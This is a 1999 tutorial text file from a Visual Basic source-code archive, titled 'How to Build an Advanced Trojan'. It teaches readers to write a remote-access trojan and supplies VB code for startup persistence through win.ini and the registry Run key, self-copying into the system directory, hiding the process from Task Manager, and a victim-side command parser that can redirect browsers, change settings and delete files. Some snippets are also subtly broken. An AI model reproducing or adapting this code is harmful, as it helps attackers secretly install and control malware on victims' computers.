home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / get_pa_1 / wax_troj.txt
Encoding:
Text File  |  1999-07-05  |  29.8 KB  |  702 lines

  1. HOW TO BUILD AN ADVANCED TROJAN _______________________
  2. ===============================[ ultimate guide by Wax ]
  3. + MAY 1999 +
  4. +----------------------: i n c l u d e d :-+
  5. | Chapter   I: The Server                  |
  6. |              - Autorun                   |
  7. |              - Stealthing                |
  8. |              - String Recognition        |
  9. |                                          |
  10. | Chapter  II: The Client                  |
  11. |              - The Interface             |
  12. |              - User Status               |
  13. |              - Profiles                  |
  14. |                                          |
  15. | Chapter III: General Information         |
  16. |              - Using Modules (.bas)      |
  17. |              - Guide 1 'bugs'            |
  18. |              - Credits & Resources       |   
  19. |              - Shout-Outs                |         
  20. +------------------------------------------+
  21.  
  22. Don't forget to view this in notepad or access the txtdirectly in
  23. your browser, or it will looks bad, address is:
  24. www.respect-inc.com/wax/wax_trojan02.txt
  25. Before we kick of with the Guide or pherhaps small book, whatever
  26. u want to call it, some general information, or must-knows.
  27. *) This guide is not written for the newbie VB trojan writer !
  28.    If u are new to writing trojans, I suggest you read my 1st trojan
  29.    Guide available at Planet-Source-Code.Com (More info at Resources)
  30. *) Although this guide is written and includes Source Code for 
  31.    Visual Basic (by MS) the 'ideas' or methods apply to other
  32.    languages as well, I suggest u read this as well when you are an
  33.    Delphi or C++ coder, even it was just for more some information or
  34.    ideas.
  35. *) In This guide as told I assume u are not a newbie, I also assume u
  36.    are familiar, or somewhat familiar with the following issues:
  37.    - The Registry (From Windows)
  38.    - Internet Programming (Sockets etc.)
  39.    - Windows API
  40.    - Strings/Integers/Variables
  41.  
  42. Ok, I guess every active VB programmer has enough knowledge about this
  43. after somewhat a half or 3/4th of a year, if not, I can suggest some
  44. sites that might help u get going, and some books, check them out at
  45. the Chapter III: Credits & Resources.
  46. Now, we will, unlike Guide1 not create a and step through the process
  47. of an entirely new server, offcourse it;s possible, the code doesn't
  48. have to be done in this order, these are just 'sniplets' with explanation
  49. and they are somewhat a must for the advanced trojan. 
  50. If u want to do the Administrator First skip this chapter and goto 
  51. Chapter II.
  52.  
  53. +------------------------------------------------------------------------+
  54. + CHAPTER I: THE SERVER 
  55. +------------------------------------------------------------------------+
  56. + Auto-Start / Nestling
  57. +------------------------
  58.  
  59. One of the most scaring parts of the all famous Back Orifice, was the fact
  60. that is nestled itself and re-run every time u restarted your computer, for
  61. the non-techies, or even the medium computer user it was hard to locate / 
  62. remote the back orifice server (mostly .exe in the win\sys <dir>) but 
  63. offcourse the aspect that made it run is the part of interest for us,
  64. I will explain 2 methods of letting the server re-run at auto-start ever-
  65. time. Using an INI File, and the Registry.
  66.  
  67.  
  68. * INI File.
  69. To let a program re-run every time at startup using an INI file, u have
  70. to modify the win.ini file which is located in your \Win <dir>
  71. now open win.ini find the header  [windows] mostly on top of the INI
  72. and pherhaps there's already a program using the INI to auto-start, if
  73. so there will be a load=programpath\programexe value, e.g:
  74.  
  75. [windows]
  76. load=C:\program files\adobe\photoshop5\gammaloader.exe
  77.  
  78. now the Load is the one we need, below is code u should copy&paste in
  79. to the Servers MOdule (or make a new module and paste it in there)
  80.  
  81. '--> WRITING TO INI FILES MODULE (.BAS)  - < S T A R T   > -
  82. Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As Any, ByVal lsString As Any, ByVal lplFilename As String) As Long
  83. Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPriviteProfileIntA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
  84. Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  85. Global file
  86. Global appname
  87. Global Keyname
  88. Global value
  89.  
  90. Public Sub writeini()
  91. Dim lpAppName As String, lpFileName As String, lpKeyName As String, lpString As String
  92. Dim U As Long
  93. lpAppName = appname
  94. lpKeyName = Keyname
  95. lpString = value
  96. lpFileName = file
  97. U = WritePrivateProfileString(lpAppName, lpKeyName, lpString, lpFileName)
  98. If U = 0 Then
  99. Beep
  100. End If
  101. End Sub
  102. '--> WRITING TO INI FILES MODULE (.BAS)   - < E N D  > -
  103.  
  104. Ok, assuming you've done the above, we go to the forms code
  105. U might want to add a Sub or something, just see what u do with it, to write to the
  106. ini use the following code:
  107.  
  108. '--> PUBLIC SUB TO WRITE TO THE INI FILE - <   S T A R T  > -
  109. Public Sub InstallINI
  110. Dim lpAppName As String, lpFileName As String, lpKeyName As String, lpString As String
  111. Dim Load As Long
  112. lpAppName = "windows"                                 'the header  [windows]
  113. lpKeyName = "load"                                    'the setting load=
  114. lpString = App.Path & "\" & app.exename & ".exe"      'the value app.path
  115. lpFileName = "C:\windows\win.ini"
  116. Load = WritePrivateProfileString(lpAppName, lpKeyName, lpString, lpFileName)
  117. If Load = 0 Then
  118. Beep
  119. End If
  120. End Sub
  121. '--> PUBLIC SUB TO WRITE TO THE INI FILE - <   E N D  > -
  122.  
  123. The lpString is something u might want to change, using the API u can recover
  124. the Win\Sys <dir> and copy your trojan there, and let the lpString be something
  125. like this: SystemPath\Yourname.exe
  126.  
  127. And added measure might be to also let this code be called when the program
  128. get shut-down e.g. when windows shuts-down, so that, should the user have 
  129. removed the line (load=..) it will be added again.
  130.  
  131.  
  132. * REGISTRY
  133. To let your program auto-start thru the registry as well, u also have to use 
  134. some code, which u preferably should paste in the same module as the INI 
  135. writing code, to keep it easy to manage.
  136.  
  137.  
  138. '--> WRITING TO THE REGISTRY MODULE (.BAS)  - < S T A R T   > -
  139. Option Explicit
  140. Public Const HKEY_CLASSES_ROOT = &H80000000
  141. Public Const HKEY_CURRENT_USER = &H80000001
  142. Public Const HKEY_LOCAL_MACHINE = &H80000002
  143. Public Const HKEY_USERS = &H80000003
  144. Public Const HKEY_PERFORMANCE_DATA = &H80000004
  145. Public Const HKEY_CURRENT_CONFIG = &H80000005
  146. Public Const HKEY_DYN_DATA = &H80000006
  147. Public Const REG_SZ = 1                         ' Unicode nul terminated string
  148. Public Const REG_BINARY = 3                     ' Free form binary
  149. Public Const REG_DWORD = 4                      ' 32-bit number
  150. Public Const ERROR_SUCCESS = 0&
  151.  
  152. Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  153. Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  154. Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  155. Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
  156. Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
  157. Public Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long
  158. Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
  159. Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
  160. Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  161.  
  162. Public Sub CreateKey(hKey As Long, strPath As String)
  163. Dim hCurKey As Long
  164. Dim lRegResult As Long
  165. lRegResult = RegCreateKey(hKey, strPath, hCurKey)
  166. If lRegResult <> ERROR_SUCCESS Then
  167. ' there is a problem
  168. End If
  169. lRegResult = RegCloseKey(hCurKey)
  170. End Sub
  171.  
  172. Public Sub SaveSettingString(hKey As Long, strPath As String, strValue As String, strData As String)
  173. Dim hCurKey As Long
  174. Dim lRegResult As Long
  175. lRegResult = RegCreateKey(hKey, strPath, hCurKey)
  176. lRegResult = RegSetValueEx(hCurKey, strValue, 0, REG_SZ, ByVal strData, Len(strData))
  177. If lRegResult <> ERROR_SUCCESS Then
  178. 'there is a problem
  179. End If
  180. lRegResult = RegCloseKey(hCurKey)
  181. End Sub
  182. '--> WRITING TO THE REGISTRY MODULE (.BAS)  - < E N D > -
  183.  
  184. Ok, as u can see also this code has a Sub u can easily call and pass 'parameters' too..
  185. this code is superbly easy to use, I've stripped some code u don't need for now, so
  186. let's just go to the actual registry part
  187. The Registry concists of top-levels with sub-dirs which contain settings with values
  188. the top-levels are:
  189.  
  190. HKEY_CLASSES_ROOT
  191. HKEY_CURRENT_USER
  192. HKEY_LOCAL_MACHINE
  193. HKEY_USERS
  194. HKEY_CURRENT_CONFIG
  195. HKEY_DYN_DATA
  196.  
  197. We will be modifying in the HKEY_LOCAL_MACHINE part, open regedit.exe and browse along
  198. with the code
  199. HKEY_LOCAL_MACHINE -> Software -> Microsoft -> Windows -> CurrentVersion -> Run
  200. as u can now see there are some settings (probably) among them there is probably
  201. the 'SystemTray' with as value "SysTray.Exe", yes this is the SystemTray Windows
  202. starts, removing it will cause malfunction or some disabling.
  203. Now u can make an Sub in the form itself, like u might have done with the ini 
  204.  
  205. Public Sub InstallRegistry()
  206. SaveSettingString(HKEY_LOCAL_MACHINE), "Software\Microsoft\Windows\CurrentVersion\Run", "AppName", "AppExe.exe"
  207. End Sub
  208.  
  209. Now the thing with the Registry is that if u don't want to define a complete path to the
  210. AppExe like C:\program\files\trojan\trojan.exe it has to be in the Windows\System <dir>
  211. now all u have to do is as told make sure the exe gets copied to the windows\system <dir>
  212. at form_load (offcourse, place a check there if there's already a file in the windows\sys
  213. with the name u want cuz that means it's already copied, and has no need to be copied again
  214. I will show u how to do this all below:
  215.  
  216. '--> CODE FOR THE MODULE, TO GET THE WINDOWS SYSTEM DIRECTORY -START-
  217. Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  218. Public Const MAX_PATH = 260
  219. '--> CODE FOR THE MODULE, TO GET THE WINDOWS SYSTEM DIRECTORY -END-
  220.  
  221. '--> CODE FOR THE FORM TO LOAD THE PATH OF THE SYSTEM DIR INTO A STRING -START-
  222. Public Function GetSystemPath()
  223. Dim strFolder As String
  224. Dim lngResult As Long
  225. strFolder = String(MAX_PATH, 0)
  226. lngResult = GetSystemDirectory(strFolder, MAX_PATH)
  227. If lngResult <> 0 Then
  228.     GetSystemPath = Left(strFolder, InStr(strFolder, _
  229.     Chr(0)) - 1)
  230. Else
  231.     GetSystemPath = ""
  232. End If
  233. End Function
  234. '--> CODE FOR THE FORM TO LOAD THE PATH OF THE SYSTEM DIR INTO A STRING -END-
  235.  
  236. '--> CODE TO CHECK AND IF NEEDED INSTALL THE TROJAN -START-
  237. Validate_File(Systempath & "\AppExe.exe")
  238. '--> CODE TO CHECK AND IF NEEDED INSTALL THE TROJAN -END-
  239.  
  240. '--> CHECK FOR FILE   - < S T A R T > -
  241. Function Validate_File(ByVal FileName As String) As Integer
  242. On Error Resume Next
  243.     Dim fileFile As Integer
  244.     fileFile = FreeFile
  245.     On Error Resume Next
  246.     Open FileName For Input As fileFile
  247.     If Err Then
  248.      FileCopy App.ExeName, Systempath & "\AppExe.exe"
  249.      Call InstallRegistry 'this calls for the Sub we made b4, it registers
  250.     Else
  251.        'It's already there, the file opening 'sequence' worked
  252.        End If
  253. End Function
  254. '--> CHECK FOR FILE   - < E N D > -
  255.  
  256. Ok With all the code above you can safely be sure that the trojan gets installed
  257. correctly. Now, offcourse installation is not the only thing a good trojan should
  258. have, it should by all means not-be-visile to the user, not in the TaskManager
  259. ('CTRL-ALT-DEL') List, and the Taskbar. This is the next part of Chapter I, called
  260. Stealthing.
  261.  
  262.  
  263. +------------------------------------------------------------------------+
  264. + CHAPTER I: THE SERVER 
  265. +------------------------------------------------------------------------+
  266. + STEALTHING
  267. +------------------------
  268.  
  269. Stealthing is necessary to make sure the user doesn't see the program running
  270. when he checks his TaskManager, if it is visible the user might become 
  271. suspicious and try to get rid of it, and he can ! if it's visible in the
  272. CTRl-ALT-DEL List he can remove it by double clicking it !
  273.  
  274. Now, the way to make sure it's not in there is by fooling windows, this can
  275. be done by pretending there's a screen-saver running, because that is a time
  276. that windows won't respond to ctrl-alt-del.
  277. Goto to your module, and add the following constants:
  278.  
  279. Public Const RSP_SIMPLE_SERVICE = 1
  280. Public Const RSP_UNREGISTER_SERVICE = 0
  281.  
  282. These are the constants of the Screen Saver (Simple Service)
  283. Also add the following DLL declarations somewere below:
  284.  
  285. 'STEALTH DECLARATIONS -START-
  286. Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
  287. Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
  288. Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
  289. 'STEALTH DECLARATIONS -END-
  290.  
  291. Ok, now the above code (as u can see to the 'Public Const' have to come in
  292. an module (the same as the rest of the code will be fine)
  293. now at the top of the main FORMS code add these dimension's:
  294.  
  295. '-<
  296. Dim pid As Long
  297. Dim reserv As Long
  298. '->
  299.  
  300. now the Sub to make your program actually hide from the Ctrl-Alt-Del (taskman)
  301. list is this:
  302.  
  303. 'STEALTH SUB -START-
  304. Public Sub Stealth()
  305. pid = GetCurrentProcessId()
  306. reserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
  307. End Sub
  308. 'STEALTH SUB -END-
  309.  
  310. Ok the stealth part is done, using the above 2 methods (Nestling & Stealthing) you're
  311. trojan's already at a higher lever, now for one of the most vital parts of
  312. a trojan, it's recognition engine of incoming commands, and not just comparing with
  313. a case but stripping parts, recognizing first 4 or alike read on..
  314.  
  315. +------------------------------------------------------------------------+
  316. + CHAPTER I: THE SERVER 
  317. +------------------------------------------------------------------------+
  318. + STRING RECOGNITION
  319. +------------------------
  320.  
  321. So u arrived how nice.. 
  322. Ok as described above u will know what u will be learning here; StringRecognition
  323. or as some like to refer to it the CommandRecognitionEngine
  324. what it merely does is get the incoming data from winsock (the strings) and
  325. check it's 1st 4 strings (or more or less offcourse) and check what command
  326. it has to execute when e.g. it finds that the 1st 4 are 'msg:'
  327.  
  328. Ok, I will just provide the code here and do some explanation and offcourse
  329. usage methods, when to and when not to use this code.
  330.  
  331. ' STRING RECOGNITION 
  332. Dim data As String
  333. Dim NewString As String
  334. MainSock.GetData data
  335. If Left$(data, 4) = "msg:" Then
  336. NewString = Mid(data, 5, Len(data))
  337. MsgBox (NewString), vbCritical, " "
  338. Else
  339. ' STRING RECOGNITION
  340.  
  341. This code should be used on a Winsock_data arrival sub
  342. as u can see it first dims data & then newstring
  343. the Data String is to store the incoming (the original data) in
  344. and the new string is to store the 'manipulated' string in, e.g.
  345. the msgs text
  346. Now, what it does is it gets the data which is being sent and saves it
  347. in the dimenioned DATA string, then it checks if the 4 left string (left$)
  348. are "msg:", if so it will strip out the 1st 4 strings (msg:) and uses
  349. the rest as the msgs text
  350. it stores the new string (the txt) in NEWSTRING
  351. 'NewString = Mid(data, 5, Len(data))
  352. It takes the 5th string to the last one (5, Len(data)) from the Data (original)
  353. string.
  354. and it displays a msgbox with as text NEWSTRING, which is the manipulated string
  355. or in other words, the original incoming data WITHOUTH the 'msg:' in front of it.
  356. now a tiny part of client programming, the client would send this in the following way
  357. say u have a txtbox in which the msg text comes (txtmessagetext) and people enter 
  358. some text and press the 'send' or 'display' or 'whateveruwannause' button
  359. the code would be somewhat alike
  360. [sockname].senddata "msg:" & txtmessagetext.text
  361.  
  362. now a little expansion on the message method, to display the different types of
  363. messageboxes u could use ms[x] were [x] represents one of the 4 regular default styles
  364. which are:
  365. * vbInformation
  366. * vbCritical
  367. * vbQuestion
  368. * vbExclamation
  369.  
  370. u could do:
  371. msi = Message Informational
  372. msc = Message Critical
  373. msq = Message Question
  374. mse = Message Exclamation
  375.  
  376. ok this is all for string recognition, i'll name some more things u can use this for below:
  377. the things hooked up behind are examples of format
  378. * Sending people to Urls (url:http://www.respect-inc.com e.g.)
  379. * Changing LocalHostname of remote computer (lhn:[yourname] owns u!)
  380. * Changing IE4+ startpafe (ies:[yourhomepage])
  381. * Deleting files (del:C:\windows\welcome.exe)
  382.  
  383. Ok this should have helped u out enough on this way.
  384. The above mentioned methods (ChangingLocal & Startpage) use the Registry.
  385.  
  386.  
  387.  
  388. +------------------------------------------------------------------------+
  389. + CHAPTER II: THE CLIENT
  390. +------------------------------------------------------------------------+
  391. + The Interface
  392. +------------------------
  393.  
  394.  
  395. With all my respect to the BO (back orifice) programmers, it's interface
  396. sucked, now it could be that I had an beta version or a test version but it 
  397. looked unclear and vague, and since most Trojan Users are all WinX/NT users
  398. they are used to windows interface, and a form filled with 30 buttons looks
  399. a little bad as well if u ask me, so I dedicated a chapter to the
  400. Clients interface
  401. it's just a matter of oppinion and if u think the above I wrote is crap, skip
  402. this chapter and head on the next sub-chapter of THE CLIENT.
  403.  
  404. Some might have read the wax_trojan.txt  (my 1st guide) and it also included
  405. a part on interfaces.
  406. altho y'all prolly think i suck in ascii (u share my oppinion :) here's my 
  407. lovely drawing again to demonstrate how u could make it:
  408.  
  409.  _________________________________________________________
  410. |PROGRAM NAME______________________________________- [] x |
  411. |FILE_________  COMMANDS_____   HELP______________________|
  412. |Setup       | |Shutdown     | |About |                   |
  413. |Connect     | |Reboot       | |Help  |           |
  414. |Discconnect | |Open Cd-Rom  | |------|                   |
  415. |Exit        | |Close Cd-Rom |                   |
  416. |------------| |Messages     |                   |
  417. |              |-------------|                  |
  418. |                              |
  419. |                              |
  420. |                              |
  421. |                              |
  422. |_________________________________________________________|
  423.  
  424.  
  425. It's all very limited and u prolly want to include some more menus / functions
  426. oh by the way: planet source code viewers: go to this page:
  427. www.respect-inc.com/wax/guide2.txt
  428. and view it in plain text so the drawings look ok
  429.  
  430.  
  431. on the main form u might want to include always updated status and another golden
  432. rule, make sure the user always has a (visual if possible) clue of what is going on
  433. e.g. when sending a file use percentages or if possible a Gauge/Progressbar
  434. a layout of the above with the menus closed but with the information is here:
  435.  
  436.  _________________________________________________________
  437. |PROGRAM NAME______________________________________- [] x |
  438. |FILE_________  COMMANDS_____   HELP______________________|
  439. |                                                         |
  440. | Remote Host: 127.0.0.1                                  |
  441. | Remote Port: 3948                                       |
  442. | Status:      Connected                                  |
  443. | Server V:    v1.a                                       |
  444. | Connected:   12:01:56                                   |
  445. |                                                         |
  446. | Upload       ______________________                     |
  447. |  Progress:  |||||||| 30%___________|                    |
  448. |_________________________________________________________|
  449.  
  450. A lil' explanation for u possible newbies reading this guide and searching
  451. for visualizations  :)
  452.  
  453. Remote Host: the computer u are connected to (the comp. running the server)
  454. Remote Port: the port the server which is installed is listening too
  455. Status: The winsock's status (let a timer check every second for it's status)
  456. Server V: the version of the server that is it installed on the 'victim'
  457. Connected: the time length u are connected to the server
  458. Upload Progress: the progress of uploading a file to the remote HD.
  459.  
  460. Remember, it doesn't have to look like this, it's just one of the many ways
  461. a trojan with a superb GUI is the one by my friend WACKeHACK it's called
  462. Forced Entry.
  463. Ok u prolly found this an worthless chapter, it doesn't contain much usefull
  464. information but it's important u have a quality VUI or GUI.
  465.  
  466.  
  467. +------------------------------------------------------------------------+
  468. + CHAPTER II: THE CLIENT
  469. +------------------------------------------------------------------------+
  470. + User Status
  471. +------------------------
  472.  
  473. This is a very very small chapter about the visualization of the status
  474. of the Client, as mentioned above the Winsock's status and the status when
  475. connecting
  476. Now all of u are probably to lazy to write the full code of the winsock's 
  477. status so I just wrote it down 1 day and I included it here, copy & paste
  478. it if u wish
  479. it uses 3 controls, the winsock u want the status of (sock) a label were the
  480. status is printed on (lblstatus) and a timer which every second checks for the
  481. winsocks status (tmrstatus)
  482.  
  483. ' STATUS CHECK OF WINSOCK
  484. Private Sub tmrStatus_Timer()
  485. If sock.state = 0 Then 
  486. lblstatus.caption = "Closed"
  487. else
  488. If sock.state = 1 Then
  489. lblstatus.caption = "Open"
  490. else
  491. If sock.state = 2 Then 
  492. lblstatus.caption = "Listening"
  493. else
  494. If sock.state = 3 Then
  495. lblstatus.caption = "Pending Connection"
  496. else
  497. If sock.state = 4 Then
  498. lblstatus.caption = "Resolving Host"
  499. else
  500. If sock.state = 5 Then
  501. lblstatus.caption = "Host Resolved"
  502. else
  503. If sock.state = 6 Then
  504. lblstatus.caption = "Connecting"
  505. else
  506. If sock.state = 7 Then
  507. lblstatus.caption = "Connected"
  508. else
  509. If sock.state = 8 Then
  510. lblstatus.caption = "Peer is closing Connection"
  511. else
  512. If sock.state = 9 Then
  513. lblstatus.caption = "Error"
  514. else
  515. End Sub
  516.  
  517. That's all about that for now and prolly for a long time :0
  518. U might want to give the client some sort of information on how
  519. many bytes he/she transfered, just mod the bytes into a string (let's say
  520. totalbytes) and display that in a label.
  521.  
  522.  
  523. +------------------------------------------------------------------------+
  524. + CHAPTER II: THE CLIENT
  525. +------------------------------------------------------------------------+
  526. + Profiles
  527. +------------------------
  528.  
  529. One of the quality options of the (newer) Netbus Trojan by cF that it had
  530. profiles or 'users'.
  531. The idea was that u could enter a name an IP & port and I believe some
  532. more information and it would store it in a profile and u could just double-
  533. click on it to connect to it, and the best thing was:
  534. 1. It could have multiple profiles
  535. 2. It saved the information of the profile (Registry/Ini)
  536.  
  537. Now since we are making an advanced trojan, we are going to make a small profile
  538. system as well, we will use the Registry for it and the module at the 1st chapter
  539. of this guide will be quite usefull.
  540. First a small explanation on the system.
  541.  
  542. We will allow the user to enter a name for the profile a description and assign an
  543. IP to it, offcourse the user should also have the ability to create more then 1
  544. or be able to delete.
  545. People will enter the above information and press a button or something alike
  546. to create the actual profile, when they click several things have to be done
  547. 1st of all a key in the registry has to be made, somewhat like
  548. [HKEY_LOCAL_MACHINE]\Software\Yourname\TrojanName\Profiles
  549. then in that registry key we will store the new profiles information, for every
  550. profile we make a key, so that when we want to retrieve all profiles we can
  551. execute the GetAllKeys from the TrojanName\Profiles <dir> at form_load
  552. now we store the name as Name description as Desc and the Ip as Address
  553. here's a sample on how to create on with a reg file
  554.  
  555. // Create Key (save as .reg)
  556. REGEDIT4
  557.  
  558. [HKEY_LOCAL_MACHINE\SOFTWARE\YourName\TrojanName\Profiles\Profile 1]
  559. "Name"="Localhost"
  560. "Desc"="Local Host Ip"
  561. "Address"="127.0.0.1"
  562. // Create Key (save as .reg)
  563.  
  564. Now implent this code into the same type of code as done in Chapter I: Nestling
  565. so that u create the profiles etc. whenever someone creates a profile
  566.  
  567. now this part is done, but what to do when the program gets opened again and the
  568. user wants to connect to a profile he created? We have to get all the the keys
  569. that are in Yourname\TrojanName\Profiles\[all profiles]
  570. We use the same module as above, but this time we need the full version, this 
  571. module can be found at Vb-World.Net, because u need to have GetAllKeys/Settings
  572. now the Module is very easy, so U just get all values and place 'm in a listbox
  573. e.g., make sure that when people click on a profile it connects to it, you could
  574. add a menu on rightclick and let people choose, like;
  575. -< The drawing shows a popup at profile 3 (yea ascii drawing ain't mah talent >-
  576. If you need more help on this part, mail me @: wax@respect-inc.com  . . . . . . 
  577.  ___________
  578. |Profile 1  |
  579. |Profile 2  |
  580. |Profile 3  |
  581. ||connect | |
  582. ||delete  | |
  583. | --------  |
  584. |___________|
  585.  
  586.  
  587. +------------------------------------------------------------------------+
  588. + CHAPTER III: GENERAL INFORMATION
  589. +------------------------------------------------------------------------+
  590. + Using Modules
  591. +------------------------
  592.  
  593. I highly support the use of modules in VB, especially ones that easy the
  594. progress/process a lot.
  595. Say u wanted to check if a persons computer is running your server at a
  596. certain port, write a public function in a module that checks thru a sock
  597. control wether the port's opened.
  598. Since this might sound weird I'll show u
  599. a module called Module
  600. a form called frmmain
  601. a winsock called sock
  602.  
  603. '< function in the module >
  604. Public Function CheckSrvr(Byval Ip As String)
  605. frmMain.Sock.remoteport = "3040" 'the standard port'
  606. frmMain.Remotehost = Ip
  607. frmMain.Connect
  608. End Function
  609. '< function in the module >
  610.  
  611. now it's really easy to implent this, once u've got it done u can call it
  612. from anywere by typing the name of the module followed by CheckSrvr, e.g.
  613.  
  614. Module.Checksrvr
  615.  
  616. then u type a space and it will display that yellow bar u regular see when u
  617. typing properties or values for a Ocx, then just enter the adress in string format
  618. ("127.0.0.1") or say u are smart and u let the user enter an IP in a box to check
  619. it would be somewhat alike Modules.Checksrvr txtCheck.text
  620. really short.
  621.  
  622. Other examples of were a module is very usefull:
  623.  
  624. * unACE / unRAR Module by Compulsion Software
  625. * Registry Module by Vb-World.Net
  626. * Modules In Trojans
  627.  
  628. In which u have the declars + functions on say opening a cd-rom, removing taskbar etc.
  629.  
  630. +------------------------------------------------------------------------+
  631. + CHAPTER III: GENERAL INFORMATION
  632. +------------------------------------------------------------------------+
  633. + Guide 01 'bugs'
  634. +------------------------
  635.  
  636. As some of u might have noticed, the 1st guide had some bugs / mistakes
  637. Known bugs for now are:
  638.  
  639. - "David Appleman's book on Win32 API"
  640.   -> Dan Appleman's book on Win32 API
  641.  
  642. - x = mciexecute("play c:\sound.wax")
  643.   -> x = mciexecute("play c:\sound.wav")
  644.  
  645. - I forgot to include the part on laying the connection between server & 
  646.   client, which is a big mistake of me, so here is the 'correction'
  647.   at Winsock_ConnectionRequest add the following code:
  648.  
  649. '-> correctional code
  650. If Winsock1.State <> sckClosed Then winsock1.Close
  651.     winsock1.Accept requestID
  652. '-> correctional code
  653.  
  654. +------------------------------------------------------------------------+
  655. + CHAPTER III: GENERAL INFORMATION
  656. +------------------------------------------------------------------------+
  657. + Credits & Resources
  658. +------------------------
  659.  
  660. This Guide on how to write trojans is (C) by Wax 1999
  661. You can contact me at wax@respect-inc.com
  662.   _  __     ___  __     __
  663.  / / \ \   / _ \ \ \   / / 
  664. / / _ \ \ / /_\ \ \ \./ / 
  665. \ \/ \/ // /   \ \/ / \ \ 
  666.  \_/ \_//_/    /_/_/   \_\ 
  667.  
  668. This guide is the sequel to the 1st guide, which was distributed under 
  669. the name "wax_trojan.txt"
  670. It can be found at http://www.respect-inc.com/wax which is also my 
  671. 'personal' homepage.
  672.  
  673. Sites:
  674. - Planet Source Code  [ www.planet-source-code.com ]
  675. - Visual Basic World  [ www.vb-world.net ]
  676. - Programmers Heaven  [ www.programmersheaven.com ]
  677. - Trojans Lair        [ www.multimania.com/cdc ]
  678.  
  679. Books:
  680. - Visual Basic 5.0 Developers Workshop - MSPRESS
  681. - Hardcore Visual Basic - MSPRESS
  682. - Win32 API - MSPRESS
  683.  
  684.  
  685. +------------------------------------------------------------------------+
  686. + CHAPTER III: GENERAL INFORMATION
  687. +------------------------------------------------------------------------+
  688. + Shout Outs
  689. +------------------------
  690.  
  691. Everlasting greets to Mucky
  692. Shouts to: Z-Wire, Willy, EN!GMA, Wilike, Rids, Chester(UHI),
  693.            Spawn128, Acid, OneNightStand, Erxer, Sopa,
  694.            AngelOfDeath & BodyCheck
  695.  
  696. Got Comments, Suicidal notes, criticism, mail me at wax@respect-inc.com
  697. This guide is for educational purposes and do not use provided knowledge
  698. for any malicious intent
  699.  
  700. wax_trojan.txt , wax_trojan02.txt , "Ultimate Trojan Guide" Copyright 1999 Wax
  701.  
  702.